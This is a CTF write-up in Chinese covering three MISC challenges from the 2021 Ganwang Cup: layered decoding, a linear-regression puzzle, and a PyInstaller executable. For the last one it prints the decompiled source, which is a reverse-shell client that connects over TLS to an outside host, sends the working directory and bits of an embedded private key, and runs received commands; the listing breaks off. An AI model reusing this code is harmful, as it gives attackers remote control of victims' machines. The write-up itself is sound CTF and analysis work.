2021年第二届赣网杯网络安全大赛MISC-Writeup

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2021-12-12 16:44

本文来自“白帽子社区知识星球”

作者:末初



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01

decodemaster

decodemaster.docx的内容是wingding编码:https://lingojam.com/WingDing

Sllv we GMT gje dsh vc sim gzwspio!EHRw tfk koa sq om reocxeua lzdpuil. W rkwa xsg tqiewtc pb wznjurz o vwspmnwzmvem jegbmnwzf xtgq woz wpgwzk tzr pia tfbnxi iwkyfo gwkqw xhukpiav. T'f zuox hnet lsdv ha wxfba bo ey kbfvhrayuesy vc OXY tun udsdg wz xas jaw.ps nqayygwzu udee ook rhh qjps asch ux bg.Yk xdee kg OXY?QZB (Dwtewfq Xas Lhbc) md c yurw cl eobscoofmhb yadqvtvm osfdkpjpmzp htem qnwmhiyise ghbzatpeyvg fs lcrrf w zltwqxr cl pbood tozkbbm bskq l uqmzxbmas dyyv cz abyolfzml vc nelwi lskkccaymgu ktfngtuse, xh vgylerr acgv poe eops l usdzxf zk tpiln rmxt. Wt piawp evmpestcfo, xsg qarmsypbjx tu ieytzru boopf ha jbbj w tlinktug iwkyf kj eglf xaoz ibu fp jwphxb uj udi dgfhik cx xfdmyf o iiudgcf. Pltu uaee wy ybhppf hti yzgc, iarng hti gosa!Meop oozc vcslfpmekczw, mvk olepw nshie tun DPJd xodmxg hausipp hti xjkjuo. Wzos mvx hgnhaxpf haatfjo qnsqggemhbght smej sjtxfoaoyi zrsdemwtc pj gjdsd wxqanjpc egoyw. Mvkof pcakqmpem ubgav l nodkx qgoi nihcfp egr iwo xi sgzp em o ylfymqkq blrgoybh pzeofmhb. Upiav pxszxl hgnhax ejs tmzv yyiksw cbp ghzraha wewrqrm fgjha, wzosfmfsy kgbickbs qhbkpbnc dwdbskh lks ahfeofmhb zk udsdg htem drwda ltivxc bb zdf ysxrsfmmwuj!DPJekaq hxhgemo xsg rujysxaop xjrse sy QZB. Uk wfoamvbnk, Ffktltrk wmmra DPJd rfazbrk w mewe qt oltzraocid cbp epoxz qkmyvg fs bbjewehfcze sk hkwno xsch osfdraua xsg qteezkjhaw, rtcgtl kopi plp ocex icojuo atpg. Mxmoig/Eajppgq wmmra DPJd hcoyl ct ajplpt ofxtqqeoc ey qdbsgstp't oicxsdw hf jagarokbs sgs'y kxj. Xsggq GMTy wsa xjrwoeeze wjiio ch flhgk sjpl xqfq iqdknjarng ozh tfk ypjhfehqh th g oqagthwo tamyedwp wqqmxbct.YUBw ncb ni izgufz ed cb urwwbeeqew qf ur msgit os qgsx jksk pp cie acgv yfoaozw zppaekr!O'z meop vc exksyo udee EHRw tfk wwwmwcpxi mc krfnczps. Yegm idbhpppuqw wc tku nibwwdi ifucswqxkbs ogcchfzkp cbp eks yenlpj c amxmsx kg lvzdzqq lcrrjjk lpr ovxozewa xskbwmgu.Idbhpppuq xrdkoKasacfpc lhehf YXQu qteezkjhaw lts fciwiwmhc okjuhxr ojuk glvssskwko. J'hp etm fs ufoaghc nqjqv mvk ypiqzp czil.Qxuqpsrtoblr - Heljyewnm urocrrfo hpefktmwtc pn iyefktmwtc b lmpes aj wozwTpircbakkovdz - Pedmsp abhn bjjhtpu urycxibpmzp vuhwst eo bmwgg av bagcfoFtpodc - Ksbasoi ppuurxsxeoc sc glbphwzeoc e mkbmvr tohfSim - Glbphwzeoc apd dmkxg zk gero vvq jeomLxj - Iirzammwtc b oicxsd xh toje plp hzmkIzkwta hpecpi mvoo:4%H#j+An?vdBY!u!Rb]NCbBi\BD\z39mB+T;:YU,G!t9(F(3@P_(oko7J2Pvknf zs T uhmvm?Wl E nwrlisp xh domva czwf oykwuojpc, T'xs osfdohfz e wkgf sy fkopqvngg flth namlio os sim gzwspio nsmvgwtc. DPJ gghqvtby, bfap qtsq xh ojz zkyc qkz vxguqsyid kb flx quinareu pqphk!


很像维吉尼亚,用在线站去爆破一下密钥:https://www.guballa.de/vigenere-solver

What is CTF and how to get started!CTFs are one of my favorite hobbies. I love the feeling of solving a particularly difficult task and seeing all the puzzle pieces click together. I'd like this post to serve as an introduction to CTF for those in the dev.to community that may not know what it is.So what is CTF?CTF (Capture The Flag) is a kind of information security competition that challenges contestants to solve a variety of tasks ranging from a scavenger hunt on wikipedia to basic programming exercises, to hacking your way into a server to steal data. In these challenges, the contestant is usually asked to find a specific piece of text that may be hidden on the server or behind a webpage. This goal is called the flag, hence the name!Like many competitions, the skill level for CTFs varies between the events. Some are targeted towards professionals with experience operating on cyber security teams. These typically offer a large cash reward and can be held at a specific physical location. Other events target the high school and college student range, sometimes offering monetary support for education to those that place highly in the competition!CTFtime details the different types of CTF. To summarize, Jeopardy style CTFs provide a list of challenges and award points to individuals or teams that complete the challenges, groups with the most points wins. Attack/Defense style CTFs focus on either attacking an opponent's servers or defending one's own. These CTFs are typically aimed at those with more experience and are conducted at a specific physical location.CTFs can be played as an individual or in teams so feel free to get your friends onboard!I'd like to stress that CTFs are available to everyone. Many challenges do not require programming knowledge and are simply a matter of problem solving and creative thinking.Challenge typesJeopardy style CTFs challenges are typically divided into categories. I'll try to briefly cover the common ones.Cryptography - Typically involves decrypting or encrypting a piece of dataSteganography - Tasked with finding information hidden in files or imagesBinary - Reverse engineering or exploiting a binary fileWeb - Exploiting web pages to find the flagPwn - Exploiting a server to find the flagPlease decode this:4%G#n+Wc?tpPU!b!Dv]RBfXx\ZP\n39iI+F;:SY,F!x9(B(3@E_(mwc7F2Where do I start?If I managed to pique your curiosity, I've compiled a list of resources that helped me get started learning. CTF veterans, feel free to add your own resources in the comments below!

得到:4%G#n+Wc?tpPU!b!Dv]RBfXx\ZP\n39iI+F;:SY,F!x9(B(3@E_(mwc7F2

经过多次base家族尝试发现是:base92->base58

  • Base92:http://www.hiencode.com/base92.html

  • Base58:http://www.metools.info/code/c74.html

flag{You_Are_Really_Decode_Master}
02

gwb-misc-lovemath


Base32解一下I_Love_Math.txt

[(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)][(85, 8348.621), (346, 33665.322), (101, 9900.75), (286, 27845.358), (490, 47634.336), (256, 24935.159), (499, 48507.783), (384, 37352.466), (314, 30561.655), (47, 4662.515), (279, 27166.774), (449, 43656.702), (415, 40358.941), (335, 32598.173), (445, 43269.738), (257, 25033.479), (56, 5535.53), (484, 47053.0), (24, 2431.123), (447, 43463.332), (252, 24547.35), (269, 26197.073), (375, 36478.885), (467, 45404.153), (299, 29106.661), (410, 39874.781), (111, 10870.232), (162, 15817.212), (473, 45985.348), (428, 41620.527)][(482, 59363.599), (493, 60717.612), (242, 29842.836), (403, 49645.494), (257, 31687.884), (418, 51490.659), (382, 47062.795), (172, 21232.594), (409, 50383.537), (37, 4627.411), (113, 13975.622), (283, 34886.502), (62, 7702.363), (438, 53951.295), (95, 11761.148), (164, 20248.214), (270, 33287.123), (60, 7456.365), (89, 11023.68), (165, 20371.405), (222, 27382.086), (416, 51244.099), (433, 53335.646), (422, 51983.683), (29, 3643.292), (466, 57395.086), (109, 13483.208), (200, 24677.075), (371, 45710.712), (325, 40052.51)][(214, 10596.501), (338, 16672.817), (383, 18878.996), (198, 9813.117), (149, 7411.18), (439, 21621.139), (12, 698.274), (30, 1580.109), (425, 20935.333), (372, 18338.869), (52, 2658.353), (282, 13928.514), (421, 20740.908), (242, 11968.381), (223, 11037.519), (46, 2364.361), (314, 15497.448), (225, 11135.62), (210, 10400.927), (168, 8342.544), (104, 5206.607), (175, 8685.26), (437, 21523.478), (55, 2805.311), (419, 20642.936), (79, 3981.11), (473, 23287.359), (207, 10253.953), (379, 18682.114), (498, 24512.699)][(444, 22697.484), (201, 10303.965), (442, 22594.985), (268, 13720.463), (215, 11018.358), (64, 3316.136), (99, 5101.527), (117, 6019.476), (42, 2194.3), (235, 12037.331), (447, 22850.954), (491, 25093.206), (400, 20452.699), (409, 20911.527), (303, 15505.555), (430, 21983.053), (166, 8518.432), (91, 4693.31), (197, 10099.772), (147, 7549.539), (115, 5917.528), (390, 19942.57), (396, 20250.15), (386, 19739.285), (144, 7396.758), (185, 9488.074), (308, 15761.079), (299, 15301.183), (453, 23156.869), (326, 16678.433)][(157, 17994.029), (466, 53219.713), (298, 34067.876), (336, 38400.176), (404, 46152.114), (35, 4085.249), (370, 42277.13), (74, 8531.099), (38, 4427.459), (356, 40680.902), (461, 52649.548), (103, 11837.351), (287, 32814.011), (153, 17537.147), (105, 12065.227), (165, 18905.831), (383, 43758.064), (14, 1691.277), (149, 17081.899), (48, 5567.135), (60, 6935.317), (183, 20958.053), (425, 48546.553), (124, 14231.309), (154, 17651.315), (305, 34865.077), (225, 25745.798), (22, 2603.436), (260, 29735.779), (268, 30648.491)][(35, 2921.193), (74, 6119.615), (366, 30063.851), (84, 6939.611), (445, 36541.644), (266, 21864.537), (44, 3659.23), (21, 1773.203), (281, 23094.394), (446, 36625.1), (134, 11039.599), (224, 18419.597), (125, 10301.272), (187, 15386.092), (27, 2265.144), (384, 31540.715), (312, 25636.875), (81, 6693.404), (256, 21043.915), (272, 22355.386), (413, 33917.33), (466, 38263.262), (10, 871.15), (322, 26455.254), (491, 40314.018), (285, 23422.235), (299, 24569.304), (314, 25799.903), (472, 38756.921), (207, 17025.119)][(18, 1909.09), (423, 43626.197), (443, 45686.428), (434, 44759.148), (227, 23436.716), (129, 13342.914), (6, 673.051), (30, 3145.382), (182, 18801.909), (53, 5514.395), (38, 3969.362), (306, 31573.971), (449, 46303.27), (342, 35281.657), (208, 21479.106), (58, 6029.494), (426, 43933.203), (31, 3248.286), (455, 46921.265), (46, 4793.37), (67, 6956.534), (436, 44964.671), (352, 36311.115), (39, 4072.332), (482, 49703.378), (36, 3763.208), (490, 50525.775), (404, 41667.513), (411, 42389.72), (87, 9016.124)][(466, 47119.357), (238, 24091.99), (378, 38231.425), (397, 40151.664), (62, 6315.361), (16, 1669.443), (495, 50048.255), (248, 25101.314), (97, 9850.418), (496, 50149.486), (250, 25303.773), (254, 25708.162), (151, 15304.476), (298, 30151.49), (39, 3992.359), (301, 30455.131), (487, 49240.674), (137, 13890.614), (170, 17223.704), (12, 1265.129), (306, 30959.984), (324, 32777.275), (354, 35808.118), (259, 26213.599), (61, 6214.064), (315, 31869.574), (419, 42373.779), (36, 3689.172), (56, 5709.441), (347, 35101.57)][(128, 10673.706), (410, 34080.113), (400, 33250.109), (495, 41134.303), (102, 8515.216), (388, 32253.575), (421, 34992.384), (126, 10507.612), (448, 37233.402), (230, 19139.667), (432, 35905.656), (343, 28519.819), (224, 18641.439), (16, 1377.078), (70, 5859.254), (188, 15653.68), (41, 3452.216), (262, 21795.981), (452, 37565.629), (496, 41218.974), (48, 4033.309), (19, 1626.453), (179, 14906.658), (490, 40720.602), (293, 24368.848), (17, 1460.317), (315, 26195.299), (351, 29182.612), (219, 18226.844), (192, 15985.401)][(366, 17679.993), (311, 15039.672), (144, 7022.587), (56, 2798.177), (40, 2030.32), (86, 4238.677), (393, 18974.814), (409, 19742.828), (266, 12878.464), (53, 2654.169), (356, 17199.18), (233, 11294.64), (70, 3470.511), (89, 4382.363), (80, 3950.705), (378, 18255.237), (139, 6782.707), (120, 5870.596), (31, 1598.134), (492, 23728.638), (453, 21856.637), (210, 10190.151), (47, 2366.403), (306, 14798.785), (235, 11390.721), (22, 1166.112), (471, 22719.415), (108, 5294.502), (413, 19936.025), (329, 15903.103)][(400, 38065.613), (406, 38635.921), (426, 40536.452), (228, 21725.303), (484, 46046.395), (297, 28280.548), (176, 16786.046), (316, 30085.821), (35, 3390.384), (315, 29990.94), (421, 40060.658), (448, 42627.029), (396, 37685.191), (458, 43575.818), (366, 34836.594), (474, 45095.324), (476, 45287.017), (36, 3485.245), (473, 45000.45), (22, 2155.411), (409, 38920.804), (362, 34455.627), (196, 18685.953), (450, 42816.42), (86, 8235.263), (266, 25335.452), (427, 40631.459), (423, 40252.254), (115, 10990.549), (180, 17165.868)][(399, 37977.029), (141, 13467.056), (491, 46716.435), (236, 22491.873), (415, 39497.438), (239, 22776.126), (378, 35981.953), (404, 38452.185), (20, 1971.333), (392, 37312.171), (348, 33131.705), (68, 6531.521), (116, 11091.687), (24, 2351.378), (377, 35886.753), (352, 33511.265), (186, 17741.408), (64, 6151.27), (238, 22681.308), (156, 14891.645), (77, 7386.51), (264, 25151.192), (311, 29616.833), (481, 45766.877), (229, 21826.112), (124, 11851.454), (204, 19452.046), (74, 7101.408), (101, 9666.573), (23, 2256.442)][(462, 22255.567), (404, 19472.985), (148, 7183.731), (116, 5647.385), (54, 2671.354), (129, 6271.643), (396, 19089.092), (104, 5071.365), (351, 16928.509), (263, 12704.488), (231, 11167.616), (203, 9824.242), (433, 20865.24), (380, 18319.847), (19, 991.333), (170, 8239.438), (61, 3007.183), (77, 3775.341), (193, 9343.796), (160, 7759.819), (113, 5503.85), (459, 22113.195), (472, 22735.985), (497, 23937.354), (121, 5887.589), (346, 16687.957), (332, 16016.091), (461, 22207.374), (145, 7039.67), (101, 4927.526)][(356, 35695.781), (323, 32396.312), (99, 9995.636), (274, 27495.776), (284, 28495.424), (37, 3795.292), (114, 11495.772), (381, 38195.254), (415, 41595.773), (45, 4595.278), (205, 20596.234), (418, 41896.749), (282, 28296.166), (228, 22896.214), (338, 33896.127), (84, 8495.355), (237, 23795.222), (414, 41495.335), (247, 24795.385), (133, 13395.59), (177, 17795.921), (481, 48195.587), (399, 39995.328), (435, 43595.973), (476, 47696.302), (347, 34797.091), (75, 7595.72), (224, 22495.502), (402, 40296.272), (139, 13995.28)][(334, 28161.025), (74, 6320.272), (244, 20600.842), (94, 8000.706), (174, 14720.587), (99, 8420.104), (484, 40761.531), (493, 41517.869), (447, 37652.765), (49, 4220.412), (499, 42021.241), (298, 25137.81), (79, 6740.362), (169, 14301.015), (439, 36981.933), (216, 18249.141), (476, 40090.247), (462, 38913.015), (413, 34798.204), (480, 40424.342), (491, 41349.055), (150, 12704.648), (433, 36477.326), (13, 1196.272), (400, 33705.346), (114, 9680.556), (127, 10772.474), (62, 5312.143), (295, 24884.463), (230, 19425.274)][(95, 4765.293), (138, 6872.432), (433, 21328.028), (432, 21280.189), (418, 20592.642), (344, 16967.601), (6, 404.037), (280, 13830.566), (175, 8685.604), (107, 5353.385), (487, 23975.472), (311, 15349.847), (473, 23288.902), (137, 6823.531), (427, 21033.375), (181, 8980.196), (453, 22308.892), (411, 20249.344), (328, 16183.891), (462, 22750.113), (407, 20054.791), (480, 23630.328), (31, 1629.26), (26, 1384.165), (170, 8440.836), (160, 7950.83), (58, 2952.176), (451, 22210.281), (43, 2217.416), (258, 12752.142)][(353, 36485.204), (305, 31540.781), (117, 12176.054), (130, 13515.348), (25, 2700.292), (120, 12485.819), (436, 45035.347), (254, 26287.979), (168, 17429.391), (484, 49979.295), (283, 29274.878), (112, 11661.515), (285, 29480.534), (173, 17944.669), (188, 19489.607), (371, 38339.416), (110, 11455.441), (49, 5172.438), (176, 18253.645), (72, 7541.458), (23, 2494.27), (262, 27111.683), (95, 9910.366), (175, 18150.397), (185, 19180.361), (133, 13824.115), (229, 23712.332), (27, 2906.355), (129, 13412.875), (381, 39369.318)]

画出来看看

import matplotlib.pyplot as pltimport numpy as npimport matplotlib as mpl

mpl.rcParams['font.family'] = 'sans-serif'mpl.rcParams['font.sans-serif'] = 'NSimSun,Times New Roman'
with open('dataset.txt', 'r') as f: lines = f.readlines() for line in lines: line = eval(line) for tup in line: x, y = tup[0], tup[1] plt.plot(x, y, '.', color='black') plt.xlabel('x') plt.ylabel('y')plt.title('Data')plt.legend()plt.show()


参考:https://a1eaiactaest.github.io/blog/writeups/mlwriteup.html


根据这里的处理逻辑,直接填进去稍微改一下即可

def smol_sqr(x,y):      n = len(x)      x_mean = sum(x)/len(x) # x with a dash      y_mean = sum(y)/len(y) # y with a dash      a_hat = [0,0]      for i in range(n):        sub_mean = x[i] - x_mean        y_sub_mean = y[i] * sub_mean        sub_mean_sqr = sub_mean**2        a_hat[0] += y_sub_mean        a_hat[1] += sub_mean_sqr            a_hat = a_hat[0]/a_hat[1]      b_hat = y_mean - x_mean * a_hat      return a_hat, b_hat
database = [[(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)],[(85, 8348.621), (346, 33665.322), (101, 9900.75), (286, 27845.358), (490, 47634.336), (256, 24935.159), (499, 48507.783), (384, 37352.466), (314, 30561.655), (47, 4662.515), (279, 27166.774), (449, 43656.702), (415, 40358.941), (335, 32598.173), (445, 43269.738), (257, 25033.479), (56, 5535.53), (484, 47053.0), (24, 2431.123), (447, 43463.332), (252, 24547.35), (269, 26197.073), (375, 36478.885), (467, 45404.153), (299, 29106.661), (410, 39874.781), (111, 10870.232), (162, 15817.212), (473, 45985.348), (428, 41620.527)],[(482, 59363.599), (493, 60717.612), (242, 29842.836), (403, 49645.494), (257, 31687.884), (418, 51490.659), (382, 47062.795), (172, 21232.594), (409, 50383.537), (37, 4627.411), (113, 13975.622), (283, 34886.502), (62, 7702.363), (438, 53951.295), (95, 11761.148), (164, 20248.214), (270, 33287.123), (60, 7456.365), (89, 11023.68), (165, 20371.405), (222, 27382.086), (416, 51244.099), (433, 53335.646), (422, 51983.683), (29, 3643.292), (466, 57395.086), (109, 13483.208), (200, 24677.075), (371, 45710.712), (325, 40052.51)],[(214, 10596.501), (338, 16672.817), (383, 18878.996), (198, 9813.117), (149, 7411.18), (439, 21621.139), (12, 698.274), (30, 1580.109), (425, 20935.333), (372, 18338.869), (52, 2658.353), (282, 13928.514), (421, 20740.908), (242, 11968.381), (223, 11037.519), (46, 2364.361), (314, 15497.448), (225, 11135.62), (210, 10400.927), (168, 8342.544), (104, 5206.607), (175, 8685.26), (437, 21523.478), (55, 2805.311), (419, 20642.936), (79, 3981.11), (473, 23287.359), (207, 10253.953), (379, 18682.114), (498, 24512.699)],[(444, 22697.484), (201, 10303.965), (442, 22594.985), (268, 13720.463), (215, 11018.358), (64, 3316.136), (99, 5101.527), (117, 6019.476), (42, 2194.3), (235, 12037.331), (447, 22850.954), (491, 25093.206), (400, 20452.699), (409, 20911.527), (303, 15505.555), (430, 21983.053), (166, 8518.432), (91, 4693.31), (197, 10099.772), (147, 7549.539), (115, 5917.528), (390, 19942.57), (396, 20250.15), (386, 19739.285), (144, 7396.758), (185, 9488.074), (308, 15761.079), (299, 15301.183), (453, 23156.869), (326, 16678.433)],[(157, 17994.029), (466, 53219.713), (298, 34067.876), (336, 38400.176), (404, 46152.114), (35, 4085.249), (370, 42277.13), (74, 8531.099), (38, 4427.459), (356, 40680.902), (461, 52649.548), (103, 11837.351), (287, 32814.011), (153, 17537.147), (105, 12065.227), (165, 18905.831), (383, 43758.064), (14, 1691.277), (149, 17081.899), (48, 5567.135), (60, 6935.317), (183, 20958.053), (425, 48546.553), (124, 14231.309), (154, 17651.315), (305, 34865.077), (225, 25745.798), (22, 2603.436), (260, 29735.779), (268, 30648.491)],[(35, 2921.193), (74, 6119.615), (366, 30063.851), (84, 6939.611), (445, 36541.644), (266, 21864.537), (44, 3659.23), (21, 1773.203), (281, 23094.394), (446, 36625.1), (134, 11039.599), (224, 18419.597), (125, 10301.272), (187, 15386.092), (27, 2265.144), (384, 31540.715), (312, 25636.875), (81, 6693.404), (256, 21043.915), (272, 22355.386), (413, 33917.33), (466, 38263.262), (10, 871.15), (322, 26455.254), (491, 40314.018), (285, 23422.235), (299, 24569.304), (314, 25799.903), (472, 38756.921), (207, 17025.119)],[(18, 1909.09), (423, 43626.197), (443, 45686.428), (434, 44759.148), (227, 23436.716), (129, 13342.914), (6, 673.051), (30, 3145.382), (182, 18801.909), (53, 5514.395), (38, 3969.362), (306, 31573.971), (449, 46303.27), (342, 35281.657), (208, 21479.106), (58, 6029.494), (426, 43933.203), (31, 3248.286), (455, 46921.265), (46, 4793.37), (67, 6956.534), (436, 44964.671), (352, 36311.115), (39, 4072.332), (482, 49703.378), (36, 3763.208), (490, 50525.775), (404, 41667.513), (411, 42389.72), (87, 9016.124)],[(466, 47119.357), (238, 24091.99), (378, 38231.425), (397, 40151.664), (62, 6315.361), (16, 1669.443), (495, 50048.255), (248, 25101.314), (97, 9850.418), (496, 50149.486), (250, 25303.773), (254, 25708.162), (151, 15304.476), (298, 30151.49), (39, 3992.359), (301, 30455.131), (487, 49240.674), (137, 13890.614), (170, 17223.704), (12, 1265.129), (306, 30959.984), (324, 32777.275), (354, 35808.118), (259, 26213.599), (61, 6214.064), (315, 31869.574), (419, 42373.779), (36, 3689.172), (56, 5709.441), (347, 35101.57)],[(128, 10673.706), (410, 34080.113), (400, 33250.109), (495, 41134.303), (102, 8515.216), (388, 32253.575), (421, 34992.384), (126, 10507.612), (448, 37233.402), (230, 19139.667), (432, 35905.656), (343, 28519.819), (224, 18641.439), (16, 1377.078), (70, 5859.254), (188, 15653.68), (41, 3452.216), (262, 21795.981), (452, 37565.629), (496, 41218.974), (48, 4033.309), (19, 1626.453), (179, 14906.658), (490, 40720.602), (293, 24368.848), (17, 1460.317), (315, 26195.299), (351, 29182.612), (219, 18226.844), (192, 15985.401)],[(366, 17679.993), (311, 15039.672), (144, 7022.587), (56, 2798.177), (40, 2030.32), (86, 4238.677), (393, 18974.814), (409, 19742.828), (266, 12878.464), (53, 2654.169), (356, 17199.18), (233, 11294.64), (70, 3470.511), (89, 4382.363), (80, 3950.705), (378, 18255.237), (139, 6782.707), (120, 5870.596), (31, 1598.134), (492, 23728.638), (453, 21856.637), (210, 10190.151), (47, 2366.403), (306, 14798.785), (235, 11390.721), (22, 1166.112), (471, 22719.415), (108, 5294.502), (413, 19936.025), (329, 15903.103)],[(400, 38065.613), (406, 38635.921), (426, 40536.452), (228, 21725.303), (484, 46046.395), (297, 28280.548), (176, 16786.046), (316, 30085.821), (35, 3390.384), (315, 29990.94), (421, 40060.658), (448, 42627.029), (396, 37685.191), (458, 43575.818), (366, 34836.594), (474, 45095.324), (476, 45287.017), (36, 3485.245), (473, 45000.45), (22, 2155.411), (409, 38920.804), (362, 34455.627), (196, 18685.953), (450, 42816.42), (86, 8235.263), (266, 25335.452), (427, 40631.459), (423, 40252.254), (115, 10990.549), (180, 17165.868)],[(399, 37977.029), (141, 13467.056), (491, 46716.435), (236, 22491.873), (415, 39497.438), (239, 22776.126), (378, 35981.953), (404, 38452.185), (20, 1971.333), (392, 37312.171), (348, 33131.705), (68, 6531.521), (116, 11091.687), (24, 2351.378), (377, 35886.753), (352, 33511.265), (186, 17741.408), (64, 6151.27), (238, 22681.308), (156, 14891.645), (77, 7386.51), (264, 25151.192), (311, 29616.833), (481, 45766.877), (229, 21826.112), (124, 11851.454), (204, 19452.046), (74, 7101.408), (101, 9666.573), (23, 2256.442)],[(462, 22255.567), (404, 19472.985), (148, 7183.731), (116, 5647.385), (54, 2671.354), (129, 6271.643), (396, 19089.092), (104, 5071.365), (351, 16928.509), (263, 12704.488), (231, 11167.616), (203, 9824.242), (433, 20865.24), (380, 18319.847), (19, 991.333), (170, 8239.438), (61, 3007.183), (77, 3775.341), (193, 9343.796), (160, 7759.819), (113, 5503.85), (459, 22113.195), (472, 22735.985), (497, 23937.354), (121, 5887.589), (346, 16687.957), (332, 16016.091), (461, 22207.374), (145, 7039.67), (101, 4927.526)],[(356, 35695.781), (323, 32396.312), (99, 9995.636), (274, 27495.776), (284, 28495.424), (37, 3795.292), (114, 11495.772), (381, 38195.254), (415, 41595.773), (45, 4595.278), (205, 20596.234), (418, 41896.749), (282, 28296.166), (228, 22896.214), (338, 33896.127), (84, 8495.355), (237, 23795.222), (414, 41495.335), (247, 24795.385), (133, 13395.59), (177, 17795.921), (481, 48195.587), (399, 39995.328), (435, 43595.973), (476, 47696.302), (347, 34797.091), (75, 7595.72), (224, 22495.502), (402, 40296.272), (139, 13995.28)],[(334, 28161.025), (74, 6320.272), (244, 20600.842), (94, 8000.706), (174, 14720.587), (99, 8420.104), (484, 40761.531), (493, 41517.869), (447, 37652.765), (49, 4220.412), (499, 42021.241), (298, 25137.81), (79, 6740.362), (169, 14301.015), (439, 36981.933), (216, 18249.141), (476, 40090.247), (462, 38913.015), (413, 34798.204), (480, 40424.342), (491, 41349.055), (150, 12704.648), (433, 36477.326), (13, 1196.272), (400, 33705.346), (114, 9680.556), (127, 10772.474), (62, 5312.143), (295, 24884.463), (230, 19425.274)],[(95, 4765.293), (138, 6872.432), (433, 21328.028), (432, 21280.189), (418, 20592.642), (344, 16967.601), (6, 404.037), (280, 13830.566), (175, 8685.604), (107, 5353.385), (487, 23975.472), (311, 15349.847), (473, 23288.902), (137, 6823.531), (427, 21033.375), (181, 8980.196), (453, 22308.892), (411, 20249.344), (328, 16183.891), (462, 22750.113), (407, 20054.791), (480, 23630.328), (31, 1629.26), (26, 1384.165), (170, 8440.836), (160, 7950.83), (58, 2952.176), (451, 22210.281), (43, 2217.416), (258, 12752.142)],[(353, 36485.204), (305, 31540.781), (117, 12176.054), (130, 13515.348), (25, 2700.292), (120, 12485.819), (436, 45035.347), (254, 26287.979), (168, 17429.391), (484, 49979.295), (283, 29274.878), (112, 11661.515), (285, 29480.534), (173, 17944.669), (188, 19489.607), (371, 38339.416), (110, 11455.441), (49, 5172.438), (176, 18253.645), (72, 7541.458), (23, 2494.27), (262, 27111.683), (95, 9910.366), (175, 18150.397), (185, 19180.361), (133, 13824.115), (229, 23712.332), (27, 2906.355), (129, 13412.875), (381, 39369.318)]]
for i in range(len(database)): data = database[i] x, y = [], [] for d in data: x.append(d[0]) y.append(d[1]) res1, res2 = smol_sqr(x,y) print(chr(round(res1)) + chr(round(res2)), end='')

flag{L1n34r_R3g7e5S10n_A_G0Od_Th1ng}


03

gwb-misc3-testcat

丢进ida里简单看了下,猜测应该是PyInstaller生成的exe文件


利用pyinstxtractor提取pyc文件

  • https://github.com/extremecoders-re/pyinstxtractor


[+] Possible entry point: 1

文件1并不是一个直接的pyc文件,但是通过对比其他pyc文件还是不难发现文件1被删掉pyc文件头


对文件1添加12个字节的文件头

55 0D 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00


保存,修改后缀为.pyc,编译还是存在一些报错,网上找两个站相互补一下

  • https://tool.lu/pyc/

  • https://www.toolnb.com/tools/pyc.html

最终得到

import socket
import subprocess
import os
import ssl

def o0Ooo00o0o():
global domain
global port
global s
global ssls
global xxx
try:
domain = 'wh47.ju5tf0r.test'
port = 64321
s = socket.socket()
ssls = ssl.wrap_socket(s, ssl_version=(ssl.PROTOCOL_TLSv1_2))
xxx = [358, 118, 30, 43, 127, 5, 282, 133, 56, 43, 116, 68, 68,
147, 96, 13, 130, 4, 15, 35, 297, 57, 36, 83, 38, 93, 40, 147]
except socket.error as lll11ll1ll1l1lll1lll1l:
try:
try:
try:
print(str(lll11ll1ll1l1lll1lll1l))
finally:
lll11ll1ll1l1lll1lll1l = None
del lll11ll1ll1l1lll1lll1l

finally:
lll11ll1ll1l1lll1lll1l = None
del lll11ll1ll1l1lll1lll1l

finally:
lll11ll1ll1l1lll1lll1l = None
del lll11ll1ll1l1lll1lll1l



def o0o0oo0oO0():
try:
yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW'
yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRwAAAJA8ULvmPFC7'
yyy += '\t\t5gAAAAtzc2gtZWQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRw'
yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y1lGyPns8JB6JYwi936VUuz4q/AcXDhqXMSSdwD6UN/dV5'
yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwQ=\t\t--- END PRIVATE KEY ---'
ssls.connect((domain, port))
ssls.send(str.encode(str(os.getcwd()) + '<' + ''.join([yyy[_] for _ in xxx]) + '>' + ' > '))
except socket.error as lll11lllll1l1l1l1lll1l:
try:
try:
try:
print(str(lll11lllll1l1l1l1lll1l))
finally:
lll11lllll1l1l1l1lll1l = None
del lll11lllll1l1l1l1lll1l

finally:
lll11lllll1l1l1l1lll1l = None
del lll11lllll1l1l1l1lll1l

finally:
lll11lllll1l1l1l1lll1l = None
del lll11lllll1l1l1l1lll1l


def oOo0Oo00O0():
l1llllll11lll1l1l1lll1 = ssls.recv(1024)
l1llllll11lll1l1l1lll1 = l1llllll11lll1l1l1lll1.decode('utf-8').strip()
print('received ' + l1llllll11lll1l1l1lll1)
if l1llllll11lll1l1l1lll1[:2] == 'cd':
os.chdir(l1llllll11lll1l1l1lll1[3:])
ssls.send(str.encode(str(os.getcwd()) + ' > '))
elif len(l1llllll11lll1l1l1lll1) > 0:
